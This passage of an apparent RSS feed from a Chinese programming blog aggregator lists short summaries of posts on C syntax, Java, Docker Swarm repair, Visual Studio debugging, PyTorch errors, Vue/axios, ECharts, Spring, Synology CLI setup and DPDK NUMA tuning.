都不是关键字。容易误解的地方：If是可以做为用户标识符。因为If中的第一个字母大写了，所以不是关键字。&#xA;保留标识符：是系统保留的一部分标识符，通常用于系统定义和标准库函数的名字。例如，以下划线开始的标识符通常用于定义系统变量，不能使用把这些标识符来定义自己的变量。虽然它们也是合法的标识符，但是用它们来做一般标识符可能会出现运行错误。&#xA;用户标识符：基本上每年都考，详细请见书上习题。&#xA;用户标识符用来为变量、符号常量、数组、函数等取名。关键字不可以作为用户标识符。&#xA;第四节：进制的转换&#xA;十进制转换成二进制、八进制、十六进制。&#xA;二进制、八进制、十六进制转换成十进制。&#xA;第五节：整数与实数&#xA;1）C语言只有八、十、十六进制，没有二进制。但是运行时候，所有的进制都要转换成二进制来进行处理。&#xA;a、C语言中的八进制规定要以0开头。018的数值是非法的，八进制是没有8的，逢8进1。&#xA;b、C语言中的十六进制规定要以0x开头。&#xA;2)小数的合法写法：C语言小数点两边有一个是零的话，可以不用写。&#xA;1.0在C语言中可写成1.&#xA;0.1在C语言中可以写成.1。&#xA;3）实型数据的合法形式：&#xA;a、2.333e-1 就是合法的，且数据是2.333×10-1。&#xA;b、考试口诀：e前e后必有数，e后必为整数。请结合书上的例子。&#xA;4） 整型一般是4个字节, 字符型是1个字节，双精度一般是8个字节：</description>
    </item>
    <item>
      <title>Java中变量未初始化问题</title>
      <link>https://bchobby.github.io/posts/ef6aacb52dc297714f487f1c463578c4/</link>
      <pubDate>Tue, 02 Nov 2021 17:26:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef6aacb52dc297714f487f1c463578c4/</guid>
      <description> 今天遇到一个Java变量未初始化就使用的问题，后详细了解后才明白。&#xA;Java中只有类成员变量才会默认初始化值。Int类型默认值为0，你定义的是方法内的局部变量，需要初始化才能进行运算。&#xA;例子：&#xA;public class Main { int var1 = 1; int var2; // 类成员变量 public static void main(String[] args) { int var3 = 3; Main main = new Main(); System.out.println(main.var1+main.var2+var3); // 4 } 输出结果：&#xA;4 </description>
    </item>
    <item>
      <title>docker swarm node 状态异常</title>
      <link>https://bchobby.github.io/posts/e3d53b2cf9972fa92f219387405bc2ce/</link>
      <pubDate>Tue, 02 Nov 2021 14:59:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3d53b2cf9972fa92f219387405bc2ce/</guid>
      <description> docker swarm node 状态异常 客户生产环境服务访问不了，排查中发现 docker swarm node STATUS 为 Down，特此记录解决过程&#xA;解决过程 根据docker官方文档尝试新建集群&#xA;1、尝试移除集群，不成功&#xA;docker swarm leave ## 移除集群命令 docker swarm leave --force ## 根据上一条命令提示，添加 --force参数 2、尝试找到swarm数据文件，发现该文件异常的大。说明此数据是有问题，停止 docker 服务，备份该文件，重启docker服务，重新查看node状态，已经恢复正常&#xA;find / -name tasks.db systemctl stop docker mv tasks.db tasks.db.bak systemctl start docker </description>
    </item>
    <item>
      <title>使用VS远程连接linux并进行开发</title>
      <link>https://bchobby.github.io/posts/b9406c4fa95e9f3eda9ac6c770e87afd/</link>
      <pubDate>Tue, 02 Nov 2021 14:53:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9406c4fa95e9f3eda9ac6c770e87afd/</guid>
      <description>此功能需要vs2015及以上，此处以VS2019为例&#xA;在安装VS时需要把linux支持选上，已经安装了的可以通过修改VS进行安装。&#xA;具体流程： 首先新建项目&#xA;选择Linux的控制台应用程序&#xA;选择好位置、名称后创建即可&#xA;这样我们的项目会创建一个main文件，其内容为：&#xA;#include &amp;lt;cstdio&amp;gt; int main() { printf(&#34;%s 向你问好!\n&#34;, &#34;ThreadPool&#34;); return 0; } 点击此处 添加远程连接&#xA;注意linux需要有ssh服务，正常填写即可&#xA;我这里连的是阿里云的，注意需要获取阿里云的外网ip，这样才能顺利连接。&#xA;注意：远程连接的linux应当有gdb，没有的话要用包管理器安装（Ubuntu下为apt-get CentenOS下为yum）&#xA;下载安装即可：&#xA;sudo apt-get install gdb 接下来要对这个连接进行一定设置&#xA;工具-&amp;gt;选项 一定要把勾打上，然后点击更新（第一次为下载） ，这样编写代码才有智能提示&#xA;然后就会下载更新这个标头 等待完成即可&#xA;接着查看属性窗口&#xA;里面有一堆设置，可以按照需要进行设置&#xA;可以看到远程根目录&#xA;这个目录是我们程序在linux的位置，可以进行设置&#xA;尝试运行此项目&#xA;我们打个断点后运行这个项目&#xA;可以看到已经显示运行的结果辣~&#xA;在linux端查看编写的程序&#xA;我们的远程根目录是~/projects&#xA;我们就到这个位置去查看&#xA;这个就是我们的项目，再进行一层&#xA;可以看到main.cpp文件。bin是可执行程序的目录，obj是缓存文件。&#xA;之后就可以畅快的使用VS来（远程）编写linux程序了~</description>
    </item>
    <item>
      <title>VS断点调试技巧</title>
      <link>https://bchobby.github.io/posts/8ab5176fe6968aa4541fd9bb84d5ae5d/</link>
      <pubDate>Tue, 02 Nov 2021 12:13:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ab5176fe6968aa4541fd9bb84d5ae5d/</guid>
      <description>条件断点： 条件断点就是当满足某种条件时才会触发的断点。&#xA;例如在循环体中，我们想查看第一万次循环的结果，显然不能一步一步运行程序，而应当在断点处设置条件。&#xA;使用流程：&#xA;1、首先需要打一个断点&#xA;2、在断点处点击设置按钮&#xA;跳出如下提示框&#xA;3、然后勾选条件，并填入断点的条件&#xA;4、开始调试，会看到断点被触发了（注意颜色和一般的断点不一样）&#xA;5、查看相关信息&#xA;断点操作： 在断点设置中，不仅有条件，还有操作，借助操作，我们可以打印一些信息，利用VS的这个功能，可以不用在代码中显示的写打印代码了~（当然这是有利有弊的，打印信息直接写在代码中，可以更快复现，结合宏来使用也非常方便，而这种断点操作，复现麻烦，适合用于排错）。&#xA;例如我们需要在循环体中查看值的变化，但不想写修改代码，这个时候就可以借助断点操作了。&#xA;操作流程&#xA;1、首先需要打一个断点&#xA;2、在断点处点击设置按钮&#xA;跳出如下提示框&#xA;3、勾选操作，并填入需要打印的信息&#xA;注意 {} 表示中间的是一个变量&#xA;输出结果会在输出窗口中打印&#xA;4、开始调试，会看到断点被触发了（注意颜色和一般的不一样）&#xA;如下是输出窗口的输出：&#xA;5、且断点操作可以和条件断点结合使用&#xA;输出如下：&#xA;6、VS提供的特殊变量，可以在断点操作中打印其信息&#xA;利用这些特殊变量可以很容易的获取当前程序运行的一些信息，注意其前缀都为$&#xA;其具体含义如下：&#xA;$ADDRESS 当前指令的地址 $CALLED 调用当前函数的函数名称 $CALLSTACK 当前调用堆栈 $FILEPOS 当前文件和行位置 $FUNCTION 当前函数的名称 $PID 当前进程的ID $PNAME 当前进程的名称 $TICK 自系统运行以来的毫秒数，最大为49.7天 $TID 当前线程的ID $TNAME 当前线程的名称 例子：输出当前断点所在的文件、行位置及当前函数的名称&#xA;输出：</description>
    </item>
    <item>
      <title>Unity3D 异步Socket 网络编程</title>
      <link>https://bchobby.github.io/posts/223fc7ae6c75c8883a54455d9b1bfdb2/</link>
      <pubDate>Mon, 01 Nov 2021 20:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/223fc7ae6c75c8883a54455d9b1bfdb2/</guid>
      <description>简单的异步socket示例&#xA;简单过一下主要使用到的相关API:&#xA;public class Socket : IDisposable { public Socket(AddressFamily addressFamily, SocketType socketType, ProtocolType protocolType); // 连接指定地址&amp;amp;端口 public void Connect(EndPoint remoteEP); // 异步接收， 指定callback函数处理到来的函数(自动创建线程去跑callback函数) public IAsyncResult BeginReceive(byte[] buffer, int offset, int size, SocketFlags socketFlags, AsyncCallback callback, object state); // 异步发送, 类似BeginReceive public IAsyncResult BeginSend(byte[] buffer, int offset, int size, SocketFlags socketFlags, AsyncCallback callback, object state); //.... } Unity3D新建脚本文件：ClientSocket.cs&#xA;using UnityEngine; using System; using System.Net; using System.Net.Sockets; using System.Text; using UnityEngine.</description>
    </item>
    <item>
      <title>Pytorch遇到报错Expected more than 1 value per channel when training, got input size torch.Size</title>
      <link>https://bchobby.github.io/posts/7c5cb58e5e30e681148d13b93c65bae6/</link>
      <pubDate>Mon, 01 Nov 2021 10:43:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c5cb58e5e30e681148d13b93c65bae6/</guid>
      <description>Pytorch遇到&#xA;Expected more than 1 value per channel when training, got input size torch.Size([1, 256, 1, 1])&#xA;楼主遇到这个报错，通过pycharm定位到断言的位置&#xA;def _verify_batch_size(size: List[int]) -&amp;gt; None: # XXX: JIT script does not support the reduce from functools, and mul op is a # builtin, which cannot be used as a value to a func yet, so rewrite this size # check to a simple equivalent for loop # # TODO: make use of reduce like below when JIT is ready with the missing features: # from operator import mul # from functools import reduce # # if reduce(mul, size[2:], size[0]) == 1 size_prods = size[0] for i in range(len(size) - 2): size_prods *= size[i + 2] if size_prods == 1: raise ValueError(&#34;</description>
    </item>
    <item>
      <title>龙芯3A5000LL与i7-10700的UnixBench跑分对比</title>
      <link>https://bchobby.github.io/posts/39999da67a77d502567b5d233ebcdb4b/</link>
      <pubDate>Mon, 01 Nov 2021 10:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39999da67a77d502567b5d233ebcdb4b/</guid>
      <description>龙芯 架构： loongarch64&#xA;字节序： Little Endian&#xA;CPU: 4&#xA;在线 CPU 列表： 0-3&#xA;每个核的线程数： 1&#xA;每个座的核数： 4&#xA;座： 1&#xA;NUMA 节点： 1&#xA;CPU 系列： Loongson-64bit&#xA;型号名称： Loongson-3A5000LL&#xA;BogoMIPS： 4600.00&#xA;L1d 缓存： 64K&#xA;L1i 缓存： 64K&#xA;L2 缓存： 256K&#xA;L3 缓存： 16384K&#xA;英特尔 架构： x86_64&#xA;处理器操作模式： 32-bit, 64-bit&#xA;字节序： Little Endian&#xA;地址大小： 39 bits physical, 48 bits virtual&#xA;CPU： 16&#xA;在线 CPU 列表： 0-15&#xA;每个核的线程数： 2&#xA;每个座的核数： 8&#xA;座： 1&#xA;NUMA 节点： 1</description>
    </item>
    <item>
      <title>Vue3 &#43; Ts 封装axios</title>
      <link>https://bchobby.github.io/posts/011eb010f0bc25468ef94396c76fb7b0/</link>
      <pubDate>Mon, 01 Nov 2021 09:37:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/011eb010f0bc25468ef94396c76fb7b0/</guid>
      <description>封装思路 index.ts&#xA;我们需要在src的根目录下创建一个axios文件夹，其中创建一个index.ts文件，这个文件主要用来封装axios的配置（实例化请求配置、请求拦截器、相应拦截器）及相应的方法（登录跳转、消息提示、错误处理等）&#xA;base.ts&#xA;这个文件主要用于项目扩展的情况下 不同模块需要调用不同接口（请求的base地址 baseURL ）而前期做的准备，便于后期的维护&#xA;request.ts&#xA;主要用于封装基于axios配置的get/post/put/delete等使用方法。&#xA;api.ts&#xA;在后面的 main.ts 中引入该模块，包括所有接口数据信息写入该文件中。&#xA;index.ts 封装如下。考虑到单一职责，index这块只封装axios&#xA;// index.ts import axios, { AxiosRequestConfig, Method } from &#34;axios&#34;; import router from &#34;@/router&#34;; import store from &#34;@/store&#34;; import { message } from &#39;ant-design-vue&#39; import { storage } from &#34;../storage/storage&#34;; import { dataList } from &#34;@/components/aspin/data&#34;; /** * 跳转登录页 * 携带当前页面路由，以期在登录页面完成登录后返回当前页面 */ const toLogin = () =&amp;gt; { router.replace({ name: &#39;LoginPage&#39;, }); } /** * 请求失败后的错误统一处理 * @param {Number} status 请求失败的状态码 */ const errorHandle = (status: number, other: string) =&amp;gt; { // 状态码判断 switch (status) { case 302: message.</description>
    </item>
    <item>
      <title>利用“bert模型”预测英语“完形填空”答案</title>
      <link>https://bchobby.github.io/posts/763f5675591f539f0a7c48a406f25eb2/</link>
      <pubDate>Sun, 31 Oct 2021 23:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/763f5675591f539f0a7c48a406f25eb2/</guid>
      <description>被课程大作业逼着学习了解了一下bert，转念一想，这不是正好用来解答英语完形填空作业吗，因此有了以下代码：&#xA;首先我们导入会用到的库啊，pytorch_pretrained_bert这个库我是第一次用啊，需要去pip install 或者conda install：&#xA;import numpy as np import torch from pytorch_pretrained_bert import BertTokenizer, BertForMaskedLM import re from random import * 之后进行一些bert模型及词库的导入：&#xA;tokenizer = BertTokenizer.from_pretrained(&#39;bert-base-uncased&#39;) #导入词库 bert = BertForMaskedLM.from_pretrained(&#39;bert-base-uncased&#39;) #导入模型 bert.eval() bert.to(&#39;cuda:0&#39;) #移动到GPU，没有GPU就不要这行代码了 然后我先导入了问题（选项）文本，用的是txt文件:&#xA;#选项提取 choices=ques_proce(&#39;question.txt&#39;) #处理问题（选项）文本 choices_idx=[] for choice in choices: #进行tokenize化 choice_idx=tokenizer.convert_tokens_to_ids(choice) choices_idx.append(choice_idx) 处理问题的函数如下：&#xA;def ques_proce(file): f = open(file, &#39;r&#39;, encoding=&#39;gb18030&#39;, errors=&#39;ignore&#39;) buffer = f.readline() choices=[] while buffer!=&#39;&#39;: list=buffer.split() one_que=[list[idx] for idx in [2,4,6,8]] choices.append(one_que) buffer=f.readline() return choices question.</description>
    </item>
    <item>
      <title>Recoil是React新的“Redux”吗？</title>
      <link>https://bchobby.github.io/posts/913b1d3f3b84635a594faa5756b58809/</link>
      <pubDate>Sun, 31 Oct 2021 19:53:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/913b1d3f3b84635a594faa5756b58809/</guid>
      <description>Recoil 是一个新的 React 状态管理库，它允许您以 Reactish 的方式管理全局/可共享状态。Recoil是由 Facebook 团队开发的。在这篇博客中，我们将看看 useRecoilState 钩子的简单使用。&#xA;让我们来看一个非常简单的问题陈述。我们希望在两个兄弟/并行子组件中共享计数状态变量。&#xA;第一个解决方案：Prop-Drilling 最简单的可能解决方案是将 count 移动到一个共同的父级并通过 props 向下传递。&#xA;这解决了我们的问题，但会导致以下问题&#xA;1.这里我们有一个简单的级别树，但是如果我们有更多级别，比如说 4 或 5 级呢？这么多级别会使代码难以维护。2.整个组件树将重新渲染——而不仅仅是 2 个叶子组件。3.父组件将被状态重载，并可能导致不必要的重新渲染。&#xA;第二种解决方案：Context API 我们可以使用 React 的 context API。上下文提供了一种通过组件树传递数据的方法，而无需在每个级别手动传递数据。&#xA;我们需要将父组件包装在 Context.Provider 中，子组件（C1&amp;amp;C2）可以使用 useContext 钩子订阅它。但是，使用这种方法有一些限制：&#xA;1。需要多个上下文提供者——一个 Context.Provider 只能共享一个值，而不是一组不确定的值——每个值都有自己的消费者。&#xA;1.复杂的单元测试用例——需要创建一个模拟提供程序来编写单元测试用例。2.当上下文发生变化时，我们仍然会重新渲染树中的每个组件。（这就是为什么需要 redux）&#xA;第三种解决方案：useRecoilState 最后我将介绍 useRecoilState，我们可以通过使用原子创建可共享的订阅者状态单元来轻松实现这一点 。为了利用 Recoil API，我们需要将父组件包装在 RecoilRoot 中。&#xA;让我们看看为什么 Recoil 被称为“Reactish”和“Minimal”。&#xA;我比较 useState 和 useRecoilState 只是为了显示语法的相似程度。&#xA;总结：组件间的状态共享只能通过将 state 提升至它们的公共祖先来实现，但这样做可能导致重新渲染一颗巨大的组件树。&#xA;Context 只能存储单一值，无法存储多个各自拥有消费者的值的集合。&#xA;以上两种方式都很难将组件树的顶层（state 必须存在的地方）与叶子组件 (使用 state 的地方) 进行代码分割。</description>
    </item>
    <item>
      <title>echarts 饼图</title>
      <link>https://bchobby.github.io/posts/fd67c4a33b467f25ab60d9a7c7d1f0a3/</link>
      <pubDate>Sun, 31 Oct 2021 19:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd67c4a33b467f25ab60d9a7c7d1f0a3/</guid>
      <description>echarts 饼图 官网：Documentation - Apache ECharts&#xA;******************* 配置属性&#xA;option = { series: [ { type: &#39;pie&#39;, //type为pie，表示图表为饼图 data: [ { value: 335, name: &#39;直接访问&#39; }, { value: 234, name: &#39;联盟广告&#39; }, { value: 1548, name: &#39;搜索引擎&#39; } ] } ] }; 基本属性&#xA;id：组件id，默认不指定 name：系列名称 type：series图表类型，常用值：bar（柱形图）、line（折线图）、pie（饼图）、scatter（散点图） colorBy: series（同一系列颜色相同）、data（同一维度颜色相同） legendHoverLink：鼠标滑过时legend（图标）是否高亮，默认true selectedMode：是否支持多个选中，可选值：true、false（默认）、single、multiple selectedOffset：选中扇区的偏移距离 clockwise：饼图的扇区是否是顺时针排布，默认true startAngle：起始角度，从0到360度，默认90度 minAngle：最小扇区角度，用于防止某个值过小导致扇区太小影响交互 minShowLabelAngle：小于这个角度的扇区，不显示标签（label、labelLine） roseType：是否展示成南丁格尔图，通过半径区分数据大小，可选值： radius：扇区圆心角展现数据的百分比，半径展现数据的大小 area：所有扇区圆心角相同，仅通过半径展现数据大小 avoidLabelOverlap：是否启用防止标签重叠策略，默认true（开启） stillShowZeroSum：是否在数据和为0的时候仍显示扇区，默认true cursor：鼠标悬浮时在图形元素上时鼠标的样式是什么，如：pointer zlevel：图形的zlevel值，用于canvas分层，数值大的展示在上面 z：图形的z值，优先级比zlevel低，用韵canvas分层，数值大的展示在上面 left：组件离容器左侧的距离，可选值：10（像素）、10%、left、cneter、right top：件离容器上侧的距离，可选值：10（像素）、10%、top、middle、bottom right：组件离容器右侧的距离，可选值：10（像素）、10% bottom：组件离容器下侧的距离，可选值：10（像素）、10% width：宽度，默认auto（自适应） height：高度，默认auto（自适应） center：饼图的中心坐标，数组的第一项是横坐标，第二项是纵坐标，如：[400, 300]、[&#39;50%&#39;, &#39;50%&#39;] radius：饼图的半径，如：10，10%，[0,10]（内半径，外半径） seriesLayoutBy：数据集映射方式，可选值：column（默认）、row datasetIndex：数据集index，如果series.</description>
    </item>
    <item>
      <title>操作系统(实验2)软中断和管道通信</title>
      <link>https://bchobby.github.io/posts/4e7dc08e487b171da9fc35efe61db687/</link>
      <pubDate>Sun, 31 Oct 2021 17:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e7dc08e487b171da9fc35efe61db687/</guid>
      <description>1.小知识(本篇没用到)&#xA;按^c键 就是按 ctrl+c&#xA;2.软中断通信&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;signal.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; int wait_flag; void stop(); main(){ int pid1,pid2; signal(SIGINT,stop); while((pid1=fork())==-1); //创建子进程 //控制权交到父进程 if(pid1&amp;gt;0){ printf(&#34;\n I am the parent process,my pid is: %d \n&#34;,getpid()); while((pid2=fork())==-1); //创建子进程 if(pid2&amp;gt;0){ //控制权交到父进程 wait_flag=1; printf(&#34;\n I am sleeping for 10s\n&#34;); sleep(10); //父进程等待10s kill(pid1,17); //向子进程1发出信号17 kill(pid2,17);//向子进程2发出信号17 int kpid1=wait(0); //等待子进程1的结束信号 printf(&#34;\n child process has ended %d \n&#34;,kpid1); int kpid2=wait(0);//等待子进程2的结束信号 printf(&#34;\n child process has ended %d \n&#34;</description>
    </item>
    <item>
      <title>柚子班第四期学习总结</title>
      <link>https://bchobby.github.io/posts/99118db9baf0cd676d49ad2608e4b01a/</link>
      <pubDate>Sun, 31 Oct 2021 16:49:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99118db9baf0cd676d49ad2608e4b01a/</guid>
      <description>spring、spring boot、spring cloud spring spring 是一个针对 java 语言的基础架构支持的框架&#xA;常见的模块有：Spring JDBC、Spring MVC、Spring Security、Spring AOP、Spring ORM、Spring Test&#xA;通过 spring 的组件我们可以通过配置的方式快速的支持业务&#xA;Spring 通过 IOC 和 AOP 提供了低耦合、轻量级、高扩展、复用性强等能力&#xA;IOC&#xA;控制反转是依赖倒置原则的一种代码设计思路，就是把原先在代码里面需要实现的对象创建、对象之间的依赖，反转给容器来帮忙实现。 Spring IOC 容器通过 xml，注解等其他方式配置类与类之间的依赖关系，完成了对象的创建和依赖的管理注入，IOC 的主要设计模式是工厂模式&#xA;使用 IOC 可以实现累的快速配置以及便捷管理，降低了类与类之间的耦合度&#xA;AOP&#xA;AOP 的主要设计模式是动态代理，是面向切面编程的一种模式，切面实现了横切关注点的模块化，即将应用对象之间的横切点抽象为单独的模块&#xA;AOP 中的五种通知类型如下所示&#xA;通过 XML 配置文件声明切面&#xA;spring boot spring boot 是 spring 框架的扩展，去除了 spring 应用程序所需的 xml 配置&#xA;框架相关优点&#xA;内嵌 Tomcat、Jetty、UnderTow，而且不需要部署&#xA;提供了 stater 包简化了 maven 配置&#xA;尽可能全面的自动配置了相关 spring 配置&#xA;spring cloud spring cloud 是微服务架构的一种解决方案。集合了多个 spring 的优秀框架，提供了全套的分布式解决方案。</description>
    </item>
    <item>
      <title>MQ系列传感器怎么用，mq2传感器引脚怎么接</title>
      <link>https://bchobby.github.io/posts/eb1568325418a049db998357ae3a2579/</link>
      <pubDate>Sun, 31 Oct 2021 16:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb1568325418a049db998357ae3a2579/</guid>
      <description>由于买的时候买错了，买成了传感器，而不是模块，到手是6根引脚的，&#xA;在网上找了半天资料，才找明白怎么接线，&#xA;所以个人使用还是建议直接买模块，省事，贵不了几元钱&#xA;但是还得讲一下传感器如何接线，&#xA;MQ系列传感器都是6个引脚，左边三根，右边三根&#xA;传感器都是基于电阻的，所以需要加热&#xA;同时，因为是基于电阻的，所以也没有正负之分，只要按照下边所说接线就可以。&#xA;在接线时，一边三个全部接Vcc 5V，其中中间一个是作为加热电压，其他两个只是作为回路电压；另一边中间接地，旁边两个都是输出。&#xA;输出只要用ADC转换采集就可以了，&#xA;至于stm32怎么写代码驱动，等我研究一下。过两天更新&#xA;听说该系列传感器灵敏度受温度影响较大，不好调试精准度？</description>
    </item>
    <item>
      <title>玩玩群辉NAS-常用命令行</title>
      <link>https://bchobby.github.io/posts/3f27451297d25c4c2d29480daeb21531/</link>
      <pubDate>Sun, 31 Oct 2021 10:06:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f27451297d25c4c2d29480daeb21531/</guid>
      <description>玩玩群辉NAS-常用命令行 群辉中的系统命令或者套间命令大部分都是以syno开头的。&#xA;Syno 简单的 Node.js 包装器（包括浏览器）和用于 Synology DSM REST API 5.x 和 6.x 的 CLI(命令行界面)。阿&#xA;英文版：Synology Development Tool.&#xA;中文版：开发者工具&#xA;安装 只要安装模块&#xA;$ npm install syno 如果要将其另存为依赖项，只需添加该--save选项即可。&#xA;$ npm install syno --save 如果要使用CLI可执行文件进行安装，只需添加该--global选项。&#xA;$ npm install syno --global 配置 环境变量 在使用Syno前需要配置一些参数&#xA;$ export SYNO_ACCOUNT=user $ export SYNO_PASSWORD=password $ export SYNO_PROTOCOL=https # 笔者这边为http，如果设置为https会报ssl错误 $ export SYNO_HOST=localhost $ export SYNO_PORT=5001 配置文件 # Example config file, by default it should be located at: # ~/.</description>
    </item>
    <item>
      <title>python中如何产生随机数</title>
      <link>https://bchobby.github.io/posts/ef936d1ecde79a39a3de40840a77adb2/</link>
      <pubDate>Sat, 30 Oct 2021 23:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef936d1ecde79a39a3de40840a77adb2/</guid>
      <description>在日常的生活工作和系统游戏等设计和制作时，经常会碰到产生随机数，用来解决问题，对此情况，向大家推几种可以产生随机数的方法。&#xA;1.首先需要导入random模块，使用import random导入。&#xA;random.random&#xA;random.random()用于生成一个0到1的随机符小数: 0 &amp;lt;= n &amp;lt; 1.0&#xA;2.首先需要导入random模块，使用import random导入。&#xA;random.uniform&#xA;random.uniform的函数原型为：random.uniform(a, b)，用于生成一个指定范围内的随机浮点数， 两个参数其中一个是上限，一个是下限。如果a &amp;gt; b，则生成的随机数n: a &amp;lt;= n &amp;lt;= b。&#xA;3.首先需要导入random模块，使用import random导入。&#xA;random.randint&#xA;random.randint()的函数原型为：random.randint(a, b)，用于生成一个指定范围内的整数。其中参数a是下限，参数b是上限，生成的随机数n: a &amp;lt;= n &amp;lt;= b&#xA;4,首先需要导入random模块，使用import random导入。&#xA;random.randrange&#xA;random.randrange的函数原型为：random.randrange([start], stop[, step])，从指定范围内，按指定基数递增的集合中 获取一个随机数。如：random.randrange(10, 100, 2)，结果相当于从[10, 12, 14, 16, ... 96, 98]序列中获取一个随机数。random.randrange(10, 100, 2)在结果上与 random.choice(range(10, 100, 2) 等效。&#xA;对于上面四种方法，我们经常用到的是第二种，这种比较方便，如下图所示：</description>
    </item>
    <item>
      <title>保险业务知识—保险合同</title>
      <link>https://bchobby.github.io/posts/363decb21914544a82135cbe35aedbe5/</link>
      <pubDate>Sat, 30 Oct 2021 19:47:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/363decb21914544a82135cbe35aedbe5/</guid>
      <description> </description>
    </item>
    <item>
      <title>DDD如何写出代码白话文</title>
      <link>https://bchobby.github.io/posts/f09057a9cc6f7a127e2e43ce10319eb4/</link>
      <pubDate>Sat, 30 Oct 2021 13:49:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f09057a9cc6f7a127e2e43ce10319eb4/</guid>
      <description>https://www.info.ucl.ac.be/~pvr/PrincipleOfLeastExpressiveness.pdf&#xA;前言 上面的链接就是本篇博客的主题，最小表达力原则。之前有看过很多代码设计相关的书籍，比如《重构》、《代码整洁之道》并且也切实遵循了这些规范，最近也亲身实践了DDD领域驱动设计，总是恍惚之间觉得这些个设计之间有一些共通性，但是也说不清楚到底是什么。阅读了上边这篇论文之后也没有通透的理解，不过感觉像是快要捅破了这层窗户纸了。&#xA;概念 The least expressive model means that if you can express your idea&#xA;with a constant, use that,and similarly for lookup tables, state machines, and so on. You should only use a Turing-complete language when you cannot&#xA;use something simpler—with the caveat not to contortthe code.&#xA;简单理解就是能用常量、表格、状态机等直观形式表现出来的逻辑，就不要用编程语言中各种特性来表现。&#xA;例子1 使用图灵完备的编程语言实现的解码器，每当阅读这部分代码的时候我们脑子里想的首先是按照编程语言解析这些if else，然后再理解不同文件与解码器的对应关系。如果再多一些解码器，你可能得拿出纸笔或者建一个Excel来理解不同文件类型与解码器之间的对应关系。后续对代码的修改可以轻松的在花括号之间加上任意“相关” 的逻辑，比如如果是GIF格式的文件，那么先检查下file大小再决定是否解码。加上这部分代码是非常容易的，而且也不需要过多思考的，如果你有个好的编程习惯，那么你会考虑检查file大小的代码放到这个分支下是否合适，但是你保不齐别人也有和你一样的习惯。抛异常这部分逻辑本就和文件-解码器对应关系 的逻辑没有关系，但是由if else这部分呢控制逻辑给混在了一起，没有分离关注点。 if (file.format() == JPG || file.format() == PNG) { return new DecoderA().decode(file); } else if (file.</description>
    </item>
    <item>
      <title>Windows下IDEA启动项目报端口占用但是找不到占用进程</title>
      <link>https://bchobby.github.io/posts/dd637a27ab89ec825b6c372760d75152/</link>
      <pubDate>Sat, 30 Oct 2021 10:47:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd637a27ab89ec825b6c372760d75152/</guid>
      <description> IDEA启动项目报端口占用但是找不到占用进程 解决办法 第一步 使用netstat -aon|findstr &#34;8080&#34;命令在Windows CMD找占用进程，如果能找到就查找其对应的PID，再使用命令taskkill -f -pid xxxx杀死进程&#xA;或者直接考虑更换端口，若还是出现此问题或者找不到对应的占用进程就进入第二步&#xA;第二步 一般可考虑使用netsh winsock reset重置网络环境，然后重启PC&#xA;但是对于开启了hype-v虚拟化设置的windows系统，首先应考虑Hype-v保留部分端口用来做映射&#xA;因此可使用netsh interface ipv4 show excludedportrange protocol=tcp查看被实际保留的端口，部分截图如下：&#xA;很明显可以看出常用的8080，8081等等端口被保留，因此找一个不在此范围的端口使用即可或者如非必要可以关闭hype-v&#xA;补充方法 方法一、 关闭idea，然后杀死与JDK相关的所有进程，然后打开重试&#xA;方法二、 上面方法一不奏效后再次尝试杀死所有JDK相关进程，重启IDEA，添加以下依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; </description>
    </item>
    <item>
      <title>dpdk 对 numa 的使用与多 numa 架构下性能调优的基础</title>
      <link>https://bchobby.github.io/posts/634bd392389c048b3d808e67821077df/</link>
      <pubDate>Sat, 30 Oct 2021 09:29:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/634bd392389c048b3d808e67821077df/</guid>
      <description>numa 是什么？ 在 SMP 架构中，内存统一寻址（Uniform Memory Architecture)，处理器和内存之间通过一条总线连接起来。由于所有处理器都是通过一条总线连接起来的，随着处理器的增加，系统总线成为了系统瓶颈，另外，处理器和内存之间的通信延迟也较大。为了克服以上缺点，NUMA 架构应运而生。&#xA;numa 架构全称为非一致性内存架构 (Non Uniform Memory Architecture)，与 SMP 中的 UMA 统一寻址内存架构相对。在 numa 系统中有本地内存与远端内存的区别。访问本地内存有更小的延迟和更大的带宽，跨处理器内存访问速度会相对较慢一点，但是整个内存对于所有的处理器都是可见的。&#xA;numa 系统的一个示意图如下：&#xA;上图中有两个 cpu，CPU0 与 CPU1 都有自己的本地内存，访问这些内存的性能最优，这两个 cpu 也可以通过总线等架构跨处理器访问远端的内存，只不过性能相对会差一些。&#xA;如上信息与图片摘自《深入浅出 DPDK》。&#xA;dpdk-16.04 中对 numa 的使用 1. 如何获取 pci 网卡所在的 numa 节点？ linux 系统中 pci 设备会在 /sys/bus/pci/devices/ 中创建独立的子目录，目录名称就是 pci 设备的 pci 号。dpdk eal 初始化时，会扫描此目录来获取当前设备上所有可用的 pci 设备。每个 pci 设备所在的 numa 节点在 /sys/bus/pci/devices/xxx/numa_node 文件中保存，dpdk 通过访问这些文件获取到每个 pci 网卡的 numa_node 信息。&#xA;一个示例：&#xA;[root] # cat /sys/bus/pci/devices/0000\:80\:00.</description>
    </item>
    <item>
      <title>golang超时控制</title>
